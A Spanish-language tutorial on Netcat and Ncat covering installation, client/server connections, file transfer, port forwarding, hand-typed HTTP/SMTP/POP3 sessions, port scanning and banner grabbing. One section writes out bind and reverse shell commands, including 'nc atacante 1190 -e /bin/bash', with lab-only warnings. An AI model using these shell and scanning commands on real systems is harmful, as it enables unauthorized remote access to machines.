Netcat (nc) y Ncat: guía práctica con ejemplos reales

Si alguna vez has necesitado una navaja suiza para la red, probablemente ya hayas oído hablar de Netcat (nc). Con unos pocos comandos puedes abrir conexiones, escuchar puertos, mover archivos, espiar cabeceras de servicios e incluso simular clientes y servidores. Todo, desde la terminal y con una curva de aprendizaje muy asequible, lo que la convierte en una herramienta imprescindible para administración y pruebas.

A su lado aparece Ncat, la implementación moderna desarrollada bajo el paraguas de Nmap, que añade extras como SSL/TLS, proxys y opciones avanzadas. Aunque se parecen, no son idénticas: veremos qué las diferencia, cómo instalarlas y, sobre todo, una batería de ejemplos prácticos (TCP y UDP, chat, traspaso de ficheros, túneles, shells directas e inversas y diálogos con protocolos comunes) para que pases de cero a útil en un rato.

Qué es Netcat y en qué se diferencia de Ncat

Lo básico: Netcat (nc) es una utilidad de línea de comandos para leer y escribir datos a través de la red. Trabaja con TCP y UDP, tanto en IPv4 como en IPv6, y puede actuar como cliente o como servidor en un puerto arbitrario. Su filosofía es simple: “haz una cosa y hazla bien”, pero combinada con redirecciones de la shell, tuberías y filtros se multiplica su potencia.

Ncat nació como evolución moderna dentro del proyecto Nmap para suplir y ampliar el comportamiento del veterano Netcat. Aporta funciones muy prácticas: soporte SSL/TLS para cifrar conexiones, capacidad de encadenar conexiones, soporte para SOCKS4/HTTP proxy, redirección de puertos TCP/UDP/SCTP y opciones como –send-only. Aunque los nombres se confundan, son programas distintos y su sintaxis puede variar en detalles según la distribución.

En ambos casos, el campo de juego es grande: desde comprobar puertos abiertos y monitorizar servicios hasta montar un proxy simple o un mini-servidor web de prueba. Eso sí, algunas compilaciones deshabilitan parámetros como -e por seguridad; conviene revisar el man de tu sistema.

Instalación y manual en distintas distribuciones

En muchas distribuciones viene preinstalado, pero si necesitas instalarlo es rápido. En Debian/Ubuntu puedes usar los paquetes de netcat (o variaciones como openbsd-netcat): sudo apt-get install netcat. Es una vía directa y muy conveniente para empezar.

En entornos RHEL, CentOS o Fedora la instalación típica es con yum/dnf, por ejemplo: yum -y install nc. Según el repositorio, el paquete puede llamarse nc o nmap-ncat, de modo que vale la pena buscarlo con el gestor de paquetes y confirmar qué variante se instala.

En openSUSE y SUSE Linux Enterprise es igual de sencillo con YaST: yast -i netcat. Tras instalar, el manual está disponible con man nc o man 1 netcat, y si usas Ncat, consulta su página para conocer sus extras y banderas específicas.

Recuerda que ncat puede venir junto a Nmap y que su sintaxis añade banderas propias (por ejemplo, para SSL o proxys). Lee el man para cada binario y evita confusiones por diferencias de implementación entre nc tradicional y Ncat.

Conexiones simples: cliente y servidor, TCP/UDP y verificación de puertos

Conectar como cliente es tan directo como especificar host y puerto. Por ejemplo, para hablar con un servicio SMTP local en el puerto 25: nc 127.0.0.1 25. Si hay un MTA corriendo, verás su banner (algo tipo 220 ... ESMTP ...) y podrás escribir comandos SMTP manualmente. Es una forma fantástica de inspeccionar respuestas a bajo nivel.

Para escuchar en un puerto y aceptar una sola conexión entrante usa nc -l 22222. Desde otra terminal (o máquina) conéctate con nc 127.0.0.1 22222 y cualquier texto que envíes aparecerá al otro lado. Esta técnica se usa a menudo como chat improvisado o para depurar una aplicación cliente-servidor.

Si quieres forzar UDP, añade -u. Por ejemplo, para comprobar SNMP en 161/UDP puedes abrir una escucha o enviar datagramas con nc -u. No olvides que el comportamiento de UDP difiere de TCP (no hay sesión), así que las pruebas y los resultados serán ligeramente distintos.

Para verificar puertos rápidamente, el modo “scan” de nc (según variante) es -z, y con -v obtiene salida detallada. Ejemplos: nc -vz 127.0.0.1 20-25 devuelve qué puertos TCP responden en ese rango. Para UDP: nc -vzu 127.0.0.1 21-80. Añadir -n evita resolución DNS y -w 1 fija un timeout de 1 segundo, acelerando las comprobaciones en entornos con latencia.

Modelo cliente-servidor y redirecciones de E/S

Un patrón clásico es la pareja servidor/cliente y la redirección de flujos. Servidor: nc -l 22222 > recibido.out para guardar en un fichero lo que llegue. Cliente: nc 127.0.0.1 22222 < origen.in para enviar un archivo. Este intercambio es útil para pruebas y transferencias puntuales sin montar servicios adicionales.

También puedes chatear en texto libre: servidor con nc -l 1234 y cliente con nc host 1234. Cualquier cosa que escribas se refleja al otro lado, lo que viene de maravilla para depurar protocolos o comprobar si una aplicación recibe datos como esperas.

Con Ncat, hay banderas interesantes como --send-only, útil cuando el emisor debe cerrar al terminar de enviar un archivo, asegurando que el receptor no se quede esperando indefinidamente y mejorando el control de la sesión.

Si necesitas que el servidor atienda múltiples clientes, en nc clásico puedes envolverlo en un bucle de shell (por ejemplo, para servir un archivo repetidamente): while true; do nc -l 80 < index.html; done. No es elegante ni seguro para producción, pero funciona muy bien como mini-laboratorio.

Uso de UDP: pruebas típicas y matices

Para usar UDP, la bandera -u cambia el modo de transporte. Escucha en UDP (p. ej., nc -ul 161) o envía datagramas nc -u host 161. Úsalo para validar si un servicio como SNMP responde o para comprobar latencia y pérdida de paquetes en escenarios sencillos.

Cuando haces “escaneo” con UDP, los resultados pueden ser engañosos: la ausencia de error no garantiza que el puerto esté abierto; a veces verás “succeeded” sin tráfico de aplicación. Complementa estas pruebas con herramientas específicas o capturas de red si necesitas precisión.

Proxy y redirección de puertos

Una receta útil es montar un “pseudo-proxy” redirigiendo tráfico de un puerto a otro. Con Ncat puedes encadenar conexiones o usar opciones nativas de redirección. En nc clásico se logra con tuberías y FIFOs: mkfifo backpipe y luego nc -l 1234 < backpipe | nc destino 5678 > backpipe. Así encaminas las entradas y salidas entre ambos extremos para un reenvío sencillo.

Ejemplo conceptual de redirección local: recibir conexiones en el puerto 80 y pasarlas a otro host/puerto. En nc simple podrías componerlo con pipes; con Ncat dispones de opciones más directas y soporte de proxys (SOCKS/HTTP) y SSL, lo que facilita encadenar saltos y cifrar el canal.

Ten en cuenta que una redirección “solo de ida” no basta para protocolos bidireccionales: hay que gestionar ida y vuelta. Las soluciones con FIFO o con herramientas como socat resuelven ese canal dual de forma más robusta cuando necesitas tráfico en ambas direcciones.

Transferencia de archivos y directorios

Para pasar ficheros, el patrón básico es universal: en el receptor nc -l -p 1234 > fichero.dest, en el emisor nc host 1234 < fichero.origen. Simple, directo y muy útil para migraciones rápidas dentro de una red controlada.

¿Directorios? Empaqueta y fluye. En el emisor: tar czvf - carpeta/ | nc receptor 5555. En el receptor: nc -l 5555 | tar xzvf -. De ese modo, viaja un stream comprimido y se descomprime al vuelo, ideal para mover árboles de archivos sin montar un servidor intermedio.

También puedes encadenar utilidades: por ejemplo, seguir un log en tiempo real con tail -f y enviarlo por nc: emisor tail -f /var/log/apache2/access.log | nc destino 1190, receptor nc -l 1190. Es una forma práctica de monitorización ligera punto a punto.

En entornos Windows y Linux la mecánica es la misma. Cambia la shell y las rutas, pero los operadores de redirección < y > funcionan igual en el nc clásico; si usas PowerShell, puedes adecuar el comando para mantener la compatibilidad.

Shells remotas: directas e inversas (con advertencias de seguridad)

Netcat permite adjuntar un programa a la conexión con -e. Por ejemplo, en Linux: servidor con nc -lvp 1190 -e /bin/bash y un cliente se conecta con nc host 1190, obteniendo una shell. En Windows: -e cmd.exe o -e powershell.exe. Esto otorga acceso total al sistema que expone el servicio, así que úsalo solo en laboratorio.

En una conexión directa, la “víctima” escucha y el “atacante” conecta (p. ej., Windows a la escucha y Kali conectando para recibir una PowerShell). En una conexión inversa, el atacante escucha y la víctima inicia la conexión saliente (p. ej., nc atacante 1190 -e /bin/bash), más probable que atraviese el firewall de la víctima.

Recuerda que el tráfico de nc es en claro; se puede capturar fácilmente. Existen variantes como “cryptcat” para cifrado, pero proyectos antiguos están sin mantener. Si necesitas seguridad real, valora Ncat con SSL/TLS o emplea herramientas diseñadas para túneles cifrados.

Muchas compilaciones modernas deshabilitan -e por defecto. Comprueba el man y, si no está, busca alternativas (por ejemplo, usar sh -i con redirecciones) o apóyate en herramientas específicas. No expongas shells en equipos de producción: es una mala práctica.

HTTP a mano: cliente y servidor improvisados

Como cliente, puedes abrir una conexión al puerto 80 y teclear una petición a pelo. Ejemplo: nc servidor 80 y luego GET / HTTP/1.1\r\nHost: servidor\r\n\r\n. Verás las cabeceras y el cuerpo de respuesta. Es útil para verificar errores 4xx/5xx, redirecciones y cabeceras sin recurrir a curl.

Para simular un servidor web básico en 8080: nc -l -p 8080, abre un navegador y visita http://localhost:8080/. En la terminal verás la petición HTTP; puedes pegar una respuesta mínima con cabeceras y HTML. Como servidor manual, es perfecto para entender el protocolo y depurar el intercambio.

Si quieres automatizar, combina el bucle: while true; do nc -l 80 < pagina.html; done. Manera rudimentaria de servir siempre el mismo archivo, ideal para mostrar páginas estáticas durante pruebas internas.

En pruebas contra sitios reales, recuerda que algunos CDNs o WAFs responden con 400 Bad Request si la petición está incompleta o faltan cabeceras. Precisamente es parte del valor de nc: ver qué espera un servidor y cómo reacciona a variaciones.

SMTP y POP3: diálogos de ejemplo

Con SMTP, conecta al puerto 25: nc mail.ejemplo.com 25. Prueba comandos: HELO cliente, luego MAIL FROM: usuario@ejemplo.com, RCPT TO: usuario@ejemplo.com, DATA, redacta asunto y cuerpo y termina con un punto en una línea solitaria. Cierra con QUIT. Es una forma perfecta de inspeccionar cómo tu MTA reconoce remitente y destinatario.

Para POP3 (puerto 110): nc pop.ejemplo.com 110 y luego USER miusuario y PASS mipassword para autenticar (ojo, va en claro). Comandos útiles: STAT (estado), LIST (lista), RETR 1 (descargar el primero) y QUIT. Ideal para validar credenciales y revisar buzón sin cliente gráfico.

Estos ejercicios muestran por qué nc es el “canivete suíço” de la red: puedes emular clientes reales y leer respuestas tal cual, sin capas intermedias. Para producción, usa herramientas más seguras (TLS, autenticación robusta), pero para aprender y depurar no hay nada más transparente.

Escaneo de puertos y técnicas de Banner Grabbing

Para un escaneo rápido TCP, úsalo así: nc -w 1 -vzn 10.0.0.11 21-80. Muestra los puertos abiertos y, si el sistema lo sabe, el servicio asociado. Para UDP: nc -w 1 -vzu 10.0.0.11 21-80. No es Nmap, pero como “ping de puertos” rápido es comodísimo.

El banner grabbing te da la versión de servicios: nc 10.0.0.11 22 suele devolver algo como SSH-2.0-OpenSSH_...; nc 10.0.0.11 21 te da el banner de FTP. Esta información es oro para inventariar y comprobar si un servicio responde y con qué versión.

Si prefieres ver solo los puertos que “succeed”, filtra la salida estándar de error con 2>&1 | grep succeeded. Así construyes un reporte rápido que destaca únicamente lo que necesitas revisar.

netstat como compañero de viaje

Mientras haces pruebas con nc, netstat te ayuda a ver qué está pasando en tu máquina: -a para todo, -l para sockets en escucha, -p para ver procesos (root), -e para modo extendido; -t para TCP y -u para UDP. Úsalo para listar qué puertos están abiertos y confirmar que tu nc realmente escucha o conecta donde esperas.

Un ejercicio clásico de laboratorio: levanta nc en escucha en un puerto > 1024, conéctate desde otro terminal o máquina, y luego ejecuta netstat para identificar la conexión, ver la IP/puerto local y remoto y el estado. Es didáctico y aclara cómo funciona el modelo cliente-servidor.

Casos mixtos en Linux y Windows

Los ejemplos “Kali vs Windows” ilustran que el patrón se mantiene: escucha con -lvp y adjunta una shell con -e (PowerShell, cmd.exe o /bin/bash). Cambia quién escucha y quién conecta según quieras una conexión directa o una conexión inversa, teniendo en cuenta que los cortafuegos suelen permitir más fácilmente las salidas que las entradas.

Para transferir ficheros, la dirección da igual: el lado que envía redirige con < y el que recibe con >. Con directorios, empaqueta (zip/tar) antes de enviar y desempaqueta al recibir. En tiempo real, envía un stream de log con tail y nc a un puerto en escucha: práctico, ligero y fácil de automatizar con scripts.

Recuerda: todo esto viaja en texto plano. Si la sensibilidad de los datos lo exige, recurre a Ncat con cifrado o no uses nc para tránsito sensible. Esta herramienta brilla en laboratorio, troubleshooting y entornos controlados.

Desde comprobar si “ese puerto” realmente responde, hasta levantar un servidor improvisado, redirigir tráfico entre puertos, espiar banners, hablar tú mismo con SMTP/POP3 o mover un tar.gz de una máquina a otra, Netcat y Ncat ofrecen un abanico sorprendentemente amplio de posibilidades. Con unas cuantas banderas bien aprendidas (-l, -v, -z, -u, -w, -e) y jugando con redirecciones y pipes, puedes cubrir tareas de diagnóstico, pruebas y automatización ligera sin instalar nada más pesado.